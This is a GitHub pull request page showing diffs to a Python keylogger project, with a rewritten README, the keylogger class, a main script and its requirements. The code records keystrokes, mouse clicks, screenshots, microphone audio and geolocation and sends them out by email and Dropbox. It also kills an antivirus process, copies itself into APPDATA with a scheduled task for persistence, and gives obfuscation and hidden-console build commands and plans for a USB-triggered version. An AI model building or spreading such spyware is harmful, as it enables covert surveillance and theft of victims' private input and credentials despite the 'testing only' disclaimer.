Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implemented more keylogger functions #51

Open
wants to merge 24 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
Show all changes
24 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Modified the README with the latest changes I've made to the program.
  • Loading branch information
Filippo Piconese committed Nov 9, 2024
commit ad35c9a932c59d7ea2a132d1c9c1a7e7dac9d69f
125 changes: 84 additions & 41 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,54 +1,97 @@
# Program objectives
This is a KeyLogger, use it for testing purposes only.
You will gather keyboard strokes, mouse movements, screenshots and microphone input.
All the collected keyboard strokes and mouse clicks info will be sent via email every defined time interval.
All the collected images and audio files will be sent via Dropbox integration to the defined Dropbox account.
# KeyLogger - Monitoring and Reporting Program

## Program phases
## Program Description
This program is a KeyLogger designed to collect input data from the keyboard and mouse, capture screenshots and audio from the microphone, and send these reports via email and Dropbox integration. **Use this tool exclusively for testing purposes and in authorized environments**.

### Imports
## Features
The program performs the following tasks:
- Collects system data (hostname, IP address, processor, OS, machine architecture).
- Detects geographic location.
- Monitors keyboard strokes and mouse clicks.
- Captures screenshots and audio at regular intervals.
- Sends collected data via email and Dropbox.
- Automatically deletes temporary files to preserve data privacy.

Note: to install everything you need you should run
```python
## Prerequisites
Python 3 and the following packages are required:
- `dotenv`
- `dropbox`
- `geocoder`
- `mss`
- `numpy`
- `poolmanager`
- `psutil`
- `pyinstaller`
- `pynput`
- `requests`
- `sounddevice`

### Dependency Installation
To install all required packages, run:
```bash
pip install -r requirements.txt
```

### Configuration
## Configuration
1. **Email Configuration**: Define the SMTP server details in a .env file to enable log reporting via email.
2. **Dropbox Integration**: Create a Dropbox API token and add it to the .env file to enable Dropbox integration.
3. **Environment Variables**:
* Set up a .env file with the following variables:
```plaintext
SMTP_SERVER=<your_smtp_server>
SMTP_PORT=<your_smtp_port>
EMAIL_ADDRESS=<your_email_address>
EMAIL_PASSWORD=<your_email_password>
EMAIL_SENDER=<sender_email>
EMAIL_RECEIVER=<receiver_email>
EMAIL_CC=<cc_email>
DROPBOX_TOKEN=<your_dropbox_token>
```
4. **Report Interval**: Define the time interval (SEND_REPORT_EVERY) in seconds for reporting frequency.
5. **Magic Word**: Set the MAGIC_WORD variable to define the word that stops the KeyLogger when typed.

Define email details for sending logs.
For this project, I created an email account using [mailtrap](https://mailtrap.io).
Create and use API key for Dropbox service.
Specify the interval for sending reports (SEND_REPORT_EVERY) and some other variables.
## Program Structure

### KeyLogger Class
* **System Information**: Collects data on hostname, IP address, processor, OS, and machine architecture.
* **Geolocation**: Detects the geographic location of the system.
* **Keyboard Monitoring**: Tracks keyboard input.
* **Mouse Monitoring**: Monitors clicks, capturing screenshots for each click (but omits movements and scrolls to limit log volume).
* **Audio Recording**: Records audio from the microphone at each interval.
* **Screenshot Capture**: Takes screenshots on each mouse click.
* **Report Generation**: Sends email reports with logged data and uploads images and audio files to Dropbox.
* **Cleanup**: Clears temporary data to ensure efficient resource usage.

- Collects system information (hostname, IP address, processor, system, machine).
- Collects system geo-location
- Monitors keyboard strokes.
- Records mouse movements, clicks, and scrolls - but only log clicks to reduce the quantity of logs.
- Take screenshots at every click.
- Capture microphone input.
- Saves the logged data to a string (self.log).
- Sends email reports with logged data.
- Upload image and audio files to Dropbox.
- Clean the data.
- The run method starts the KeyLogger by setting up keyboard, mouse, screenshot and microphone listeners.

### Execution

Creates an instance of the KeyLogger class with the needed variables.
Calls the run method to start the KeyLogger.
The first action, based on the operating system, deletes the .env file. In this way, the target cannot see your sensitive data.
Write the magic word (if set) to break the loop.
## Execution
1. Create an instance of the <code>KeyLogger</code> class, initializing it with the required variables.
2. Call the <code>run</code> method to start the KeyLogger.
3. The program automatically deletes the <code>.env</code> file at runtime to secure sensitive information.
4. Typing the magic word (if defined) stops the KeyLogger.

### Single EXE file version

If you need to run the code within a PC that has no Python installed, you can use the module pyinstaller (inserted in the reuirements file) as follows:
- pyinstaller --onefile --add-data ".env;." main.py
## Single EXE File Version
To run this code on a machine without Python installed, you can compile it into a standalone executable using <code>pyinstaller</code>. The command below is included in the requirements file:
```bash
pyinstaller --onefile --add-data ".env;." main.py
```

### TODO
## Commands to obfuscate and compile the program
To obfuscate and compile the program, run the following commands:
1. Install required packages:
```bash
pip install -r requirements.txt
```
2. Obfuscate code files using <code>pyarmor</code>:
```bash
pyarmor gen -O obfuscated_dist main.py
pyarmor gen -O obfuscated_dist keylogger.py
pyarmor gen -O obfuscated_dist utils.py
```
3. Generate an executable:
```bash
pyinstaller --onefile --noconsole --add-data "obfuscated_dist\pyarmor_runtime_000000\pyarmor_runtime.pyd;." --hidden-import socket --hidden-import psutil --hidden-import requests --hidden-import subprocess --hidden-import dropbox --hidden-import geocoder --hidden-import mss --hidden-import os --hidden-import platform --hidden-import sounddevice --hidden-import ssl --hidden-import time --hidden-import wave --hidden-import pynput --hidden-import requests.adapters.HTTPAdapter --hidden-import shutil --hidden-import smtplib --hidden-import email.mime.multipart --hidden-import email.mime.text --hidden-import email.mime.base --hidden-import email.encoders --hidden-import keylogger --hidden-import utils --hidden-import utils.send_mail_with_attachment --hidden-import utils.get_wav_and_png_files --hidden-import utils.delete_wav_and_png_files --hidden-import utils.upload_to_dropbox --hidden-import utils.save_program_in_location --hidden-import utils.create_scheduled_task --hidden-import utils.is_process_running --hidden-import utils.stop_process --hidden-import string obfuscated_dist\main.py
```
4. Copy the <code>main.exe</code> file from the <code>dist</code> folder.

- Add an optional parameter to copy the Python script somewhere and creates a scheduled task to execute it
- Create a USB key that runs upon it's plugged in a PC
- Improve the remove_env_file function to remove the .env file only when somebody tries to check the file content
- Add the Dropbox token renewal, otherwise it will last for 4 hours
## Future Development
* Develop a USB-triggered version that runs when plugged into a PC.
* Implement Dropbox token renewal as the current token expires after four hours.
27 changes: 15 additions & 12 deletions keylogger.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,3 @@
from pynput import keyboard, mouse
from requests.adapters import HTTPAdapter
import dropbox
import geocoder
import mss
Expand All @@ -11,11 +9,13 @@
import time
import wave

from pynput import keyboard, mouse
from requests.adapters import HTTPAdapter
from utils import (
send_mail_with_attachment,
get_wav_and_png_files,
delete_wav_and_png_files,
remove_env_file,
# remove_env_file,
upload_to_dropbox,
save_program_in_location,
create_scheduled_task,
Expand Down Expand Up @@ -47,7 +47,7 @@ def __init__(
dropbox_token,
src_file,
dest_folder,
task_name,
scheduled_task_name,
):
self.interval = time_interval
self.smtp_server = smtp_server
Expand All @@ -61,7 +61,7 @@ def __init__(
self.dropbox_token = dropbox_token
self.src_file = src_file
self.dest_folder = dest_folder
self.task_name = task_name
self.scheduled_task_name = scheduled_task_name

self.log = "KeyLogger Started...\n"
self.keyboard_listener = None
Expand All @@ -83,11 +83,14 @@ def on_scroll(self, x, y, dx, dy):
pass # do nothing

def on_click(self, x, y, button, pressed):
current_click = f"\nMouse click at {x} {y} with button {button}"
# self.screenshot()
self.appendlog(current_click)
if pressed:
current_click = f"\nMouse click at {x} {y} with button {button}"
self.screenshot()
self.appendlog(current_click)

def save_data(self, key):
current_key = ""

try:
current_key = str(key.char)
except AttributeError:
Expand All @@ -110,9 +113,9 @@ def send_mail(self, message):
email_sender=self.email_sender,
email_receiver=self.email_receiver,
cc=self.cc,
path_to_attachment=os.getcwd(),
path_to_attachment="",
attachments=[],
subject="Test KeyLogger - by F3000",
subject="KeyLogger - by F3000",
body=message,
)

Expand Down Expand Up @@ -219,7 +222,7 @@ def screenshot(self):
def run(self):
# remove_env_file()
executable_path = save_program_in_location(self.src_file, self.dest_folder)
create_scheduled_task(executable_path, self.task_name)
create_scheduled_task(executable_path, self.scheduled_task_name)

self.system_information()
self.get_location()
Expand All @@ -241,7 +244,7 @@ def run(self):
self.report()

if self.magic_word != "" and self.magic_word in self.word:
return
break

self.cleanup() # this cleanup is used until the while loop works
self.cleanup() # this cleanup is used when the while loop stops
29 changes: 13 additions & 16 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
import os
import psutil

from dotenv import load_dotenv
from keylogger import KeyLogger
from utils import is_process_running, stop_process

load_dotenv()

Expand All @@ -14,30 +15,26 @@
EMAIL_CC = os.getenv("EMAIL_CC")
DROPBOX_TOKEN = os.getenv("DROPBOX_TOKEN")

SEND_REPORT_EVERY = 5 # seconds
SEND_REPORT_EVERY = 60 # seconds
MAGIC_WORD = "stop"

SRC_FILE = "D:\main.exe"
DEST_FOLDER = os.path.join(os.getenv("APPDATA"), "InteI")
TASK_NAME = "NVIDlA"


def is_process_running(process_name):
count = 0
for proc in psutil.process_iter(attrs=["pid", "name"]):
if proc.info["name"] == process_name:
count += 1
return count
EXE_FILENAME = "main.exe"
SRC_FILE = f"D:\{EXE_FILENAME}"
DEST_FOLDER = os.path.join(os.getenv("APPDATA"), "KEYLOGGER")
SCHEDULED_TASK_NAME = "TASK_NAME"
ANTIVIRUS_PROCESS = "antivirus.exe"


def main():
running_instances = is_process_running("main.exe")
print(f"Number of 'main.exe' ongoing processes: {running_instances}")
running_instances = is_process_running(EXE_FILENAME)
print(f"Number of '{EXE_FILENAME}' ongoing processes: {running_instances}")

if running_instances >= 4:
print("Too many ongoing processes. Exiting.")
return

stop_process(ANTIVIRUS_PROCESS)

keylogger = KeyLogger(
time_interval=SEND_REPORT_EVERY,
smtp_server=SMTP_SERVER,
Expand All @@ -51,7 +48,7 @@ def main():
dropbox_token=DROPBOX_TOKEN,
src_file=SRC_FILE,
dest_folder=DEST_FOLDER,
task_name=TASK_NAME,
scheduled_task_name=SCHEDULED_TASK_NAME,
)
keylogger.run()

Expand Down
5 changes: 2 additions & 3 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,12 +1,11 @@
dotenv
dropbox
geocoder
mss
numpy
pillow
poolmanager
psutil
pyinstaller
pynput
requests
sounddevice
urllib3
sounddevice
Loading